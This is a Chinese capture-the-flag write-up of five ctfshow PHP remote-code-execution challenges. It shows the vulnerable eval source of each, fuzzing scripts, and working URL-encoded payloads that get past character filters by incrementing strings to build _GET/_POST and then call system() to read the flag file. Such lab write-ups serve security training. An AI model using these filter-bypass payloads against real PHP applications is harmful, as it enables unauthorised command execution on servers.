ctfshow--RCE极限挑战

本周ctfshow的挑战注重点为RCE，主要利用是：自增绕过RCE

RCE挑战1

属于简单类型

源码

error_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);

发现过滤了(和.，我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

输出flag

code=echo `cat /f1agaaa`;

RCE挑战2

比较简单的

打开题目 审计源码

error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow)) {        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGaiN?");        }    }else{        PHPinfo();    }}

我们跑一下 看看哪些字符没有被过滤

phpfor ($i=32;$i<127;$i++){        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){            echo chr($i)." ";        }}

结果：

  ! $ ' ( ) + , . / ; = [ ] _ 

可以考虑$_绕过！（自增绕过）

编写

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

传入

?_=system&__=ls

找flag

POST:ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3BGET:?_=system&__=cat /f*

RCE挑战3

限制字符的自增 对于我来说较难

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

fuzz测试什么没有被过滤

for ($i=32;$i<127;$i++){    if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){        echo chr($i);    }}

输出

 $()+,./01;=[]_

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN

构造的payload

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);

传入参数

POST:ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0=system&1=cat /f1agaaa

RCE挑战4

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

要求字符小于等于84

fuzz测试，可用字符

 $()+,./0;=[]_  $()+,./;=[]_

构造

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);// 分析一下//1.(_/_._)[0]==N//$__=$_.$_++; 此时的$_=O $_.$_++; 这个顺序是（实验得出来的）：// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;

payload

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

限制传入的参数长度小于等于73

fuzz测试哪些字符没有被过滤

for ($i=32;$i<127;$i++){    if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){        echo chr($i);    }}//  $()+,./;=[]_

构造payload

# 第一种  ！！知识点！！ 直接使用_POST当做参数$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);第一个参数：_POST 第二个参数：_    # 借助ctfshow群里佬的payload tql# 第二种# 不可见字符替换  ！！知识点！！$_=(_/_._)[_];++$_;$a=$_.$_++;++$_;++$_;$_=_.$a.++$_.++$_;$$_[_]($$_[a]);# 转为url后将a改为 %ff $fe 等不可见字符ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext，该扩展支持函数_() ,相当于gettext()，直接转化为字符串

$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N$_=++$a;//O$_=_.++$a.$_;//_PO$a++;$a++;//R$_.=++$a.++$a;//_POST$$_[a]($$_[_]);//$_POST[a]($_POST[_])

来源地址：https://blog.csdn.net/bossDDYY/article/details/127954538